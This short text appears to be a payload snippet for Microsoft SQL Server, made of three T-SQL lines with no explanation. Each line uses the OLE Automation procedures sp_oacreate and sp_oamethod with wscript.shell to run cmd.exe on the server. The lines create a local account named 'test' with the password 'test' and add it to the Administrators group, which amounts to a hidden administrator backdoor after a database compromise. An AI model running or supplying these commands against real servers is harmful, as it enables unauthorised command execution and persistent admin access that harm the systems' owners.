declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators test /add'